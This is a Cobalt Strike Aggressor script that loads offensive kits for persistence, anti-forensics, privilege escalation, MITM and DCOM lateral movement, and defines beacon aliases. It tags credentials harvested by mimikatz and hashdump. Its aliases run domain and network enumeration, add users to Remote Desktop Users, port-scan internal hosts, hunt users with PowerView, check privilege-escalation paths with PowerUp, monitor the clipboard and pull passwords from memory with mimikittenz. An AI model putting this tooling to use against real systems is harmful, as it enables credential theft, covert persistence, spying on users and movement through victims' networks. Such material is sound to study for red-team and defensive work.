KitLoader__.cna

include(script_resource("AnnoyKit/AnnoyKit.cna"));
include(script_resource("AntiForensicsKit/AntiForensicsKit.cna"));
include(script_resource("EnumKit/EnumKit.cna"));
include(script_resource("MITM/MITM.cna"));
include(script_resource("PersistKit/persistence.cna"));
include(script_resource("PrivescKit/PrivescKit.cna"));
include(script_resource("ElevateKit/elevate.cna"));
include(script_resource("ElevateKit/dcom_lateralmov.cna"));
include(script_resource("ThirdParty/thirdparty.cna"));
include(script_resource("Misc/misc.cna"));
include(script_resource("Misc/Logger.cna"));
include(script_resource("DebugKit/DebugKit.cna"));
include(script_resource("Others/PowerLessShell/wmi_msbuild.cna"));


elog("Aggressor Kit loaded by " . mynick());

on beacon_initial {
	bnote($1,"Established: " . formatDate('MM/dd/yyyy HH:mm'));
}


global('@credential_dedupe');

#function to add timestamp note to all credentials with blank notes
sub timestampNote {
	local('$user $password $host $realm $source $pwtimestamp $onload');
	$onload = "False";
	if ($1 eq "initial") {
		$onload = "True";
	}
	foreach $key => $value (credentials()) {
		$user = $value['user'];
		$password = $value['password'];
		$host = $value['host'];
		$realm = $value['realm'];
		$source = $value['source'];
		$pwtimestamp = formatDate('MM/dd/yyyy HH:mm');
		$cred_hash = "$user\t$password\t$host\t$realm";
		if ($cred_hash !in @credential_dedupe) {
			if (($source eq 'hashdump') || ($source eq 'mimikatz') || ($source eq 'wdigest')) {
				if ($onload eq "True") {
					add(@credential_dedupe,$cred_hash);
				}
				else {
					add(@credential_dedupe,$cred_hash);
					credential_add("$user","$password","$realm","$source - $pwtimestamp","$host");	
				}
			}
		}
	}
}

#on scriptload, marks all existing credentials with source of mimikatz or hashdump with "no timestamp"
timestampNote("initial");

#on credentials, labels new creds with timestamp
on credentials {
	timestampNote();
}





############################
####### SSH ALIASES ########
############################
ssh_alias ls {
	if(!$2){
		bshell($1, "ls -la");
	} else {
		bshell($1, "ls -la $2");
	}
}

ssh_command_register("ls", "Lists files", "Use: ls [folder]\n\nLists files in a folder");

ssh_alias cat {
	if ($2){
		bshell($1, "cat $2");
	} else {
		berror($1, "Error: You must specify a file");
	}
}
ssh_command_register("cat", "Displays the contents of a file", "Use: cat [file]\n\nDisplays the contents of [file]");

ssh_alias tail {
	if ($2){
		bshell($1, "tail $2");
	} else {
		berror($1, "Error: You must specify a file");
	}
}
ssh_command_register("tail", "Print the last 10 lines of a file", "Use: tail [file]\n\nDisplays last 10 lines of [file]");

ssh_alias head {
	if ($2){
		bshell($1, "head $2");
	} else {
		berror($1, "Error: You must specify a file");
	}
}
ssh_command_register("head", "Print the first 10 lines of a file", "Use: head [file]\n\nDisplays first 10 lines of [file]");

ssh_alias ps {
	bshell($1, "ps aux");
}
ssh_command_register("ps", "Show process list", "Use: ps\n\nShows a list of processes");


############################
###### BEACON ALIASES ######
############################

alias type {
	if ($2){
		bshell($1, "type $2");
	} else {
		berror($1, "Error: You must specify a file");
	}
}
beacon_command_register("type", "Displays the contents of a file", "Use: type [file]\n\nDisplays the contents of [file]");



# A few usefull aliases

alias env {
        blog($1, "$2 is: '" . %bvars[$1][$2] . "'");
}

alias cdsystem32 {
      $path = %bvars[$1]["windir"];
      bcd($1, "$path" . "\\" . "system32");
}


alias cdusertemp {
        $path = %bvars[$1]["TEMP"];
        bcd($1, "$path");
}
alias cduserhome {
        $path = %bvars[$1]["USERPROFILE"];
        bcd($1, "$path");
}

alias cduserappdata {
        $path = %bvars[$1]["APPDATA"];
        bcd($1, "$path");
}

alias cduserdownloads {
            $path = %bvars[$1]["USERPROFILE"];
            $dlpath = "$path $+ / $+ Downloads/";
           bcd($1, "$dlpath");
}


alias userstartup {
	bshell($1,"wmic startup list full");
}

alias awarness {
    btask($1, "Situtation Awareness!");
	bshell($1,"whoami & hostname & ipconfig /all & net user /domain & net group /domain & net group \"domain admins\" /domain & net group \"Exchange Trusted Subsystem\" /domain & net accounts /domain & net user & net localgroup administrators & netstat -an & tasklist & sc query & systeminfo ");
}


###################
#quick stuff
###################
#
#

alias idletime {
        bpowershell_import($1,script_resource("Misc/Aliases/scripts/Idletime.ps1"));
        bpowershell($1,"IdleTime");
}



alias addremotedesktopuser {
        $user = $2;
        bshell($1, "net localgroup \"remote desktop users\" $user /add");
        bshell($1, "net localgroup \"remote desktop users\"");
}

alias delremotedesktopuser {
        $user = $2;
        bshell($1, "net localgroup \"remote desktop users\" $user /delete");
        bshell($1, "net localgroup \"remote desktop users\"");
}


alias quickwebportscan {
    binput($1, "internal web portscan arp 80,81,443, 8080,8081,8181, 1024");
    bportscan($1, $2, "80,81,90,443,8081,8080,8181,8443", "arp", 1024);
}

alias quicksshportscan {
    binput($1, "ssh portscan 22");
    bportscan($1, $2, "22", "arp", 1024);
}


# quickly run finduser
alias finduser {
        bpowershell_import($1, script_resource("Misc/Aliases/scripts/PowerView/powerview.ps1"));
        bpowershell($1, "Invoke-UserHunter -UserName " . $2);
}


alias powerup {
        bpowershell_import($1, script_resource("Misc/Aliases/scripts/PowerUp.ps1"));
        bpowershell($1, "Invoke-AllChecks");
}

alias enablePSremoting {
        binput($1, "Enabling PowerShell Remoting ");
        bpowershell($1, 'Enable-PSRemoting -Force');
}


alias checkAv {
        blog($1,"Checking Installed Av and Malware Status.");
        bpowershell_import($1, script_resource("Misc/Aliases/scripts/checkav.ps1"));
        bpowershell($1, "Get-LHSAntiVirusProduct");
}

alias monitorclipboard {
        bpowershell_import($1, script_resource("Misc/Aliases/scripts/clipboard-monitor.ps1"));
        bpowershell($1, "Start-ClipboardMonitor");
}

alias mimikittenz {
            bpowershell_import($1, script_resource("Misc/Aliases/scripts/mimikittenz/Invoke-mimikittenz.ps1"));
                    bpowershell($1, "Invoke-mimikittenz");
}


alias getEstConnections {

        bshell($1,"netstat -na | findstr \"EST\"");
}

alias pb {
        openProcessBrowser($1);
}



alias ping {
	binput($1,"shell ping -n 1 $2");
	bshell($1,"ping -n 1 $2");
}


#register help
beacon_command_register("smbscan", "portscans port 445 without ping discovery",
	"Synopsis: smbscan [target]\n\n" .
	"Scans SMB with the command: portscan [targets] none\n\n" .
	"[targets] is a comma separated list of hosts to scan. You may also specify\n" .
	"IPv4 address ranges (e.g., 192.168.1.128-192.168.2.240, 192.168.1.0/24)");

#setting the alias
alias smbscan {
	binput("portscan $1 445 none");
	bportscan($1, $2, "445", "none");
}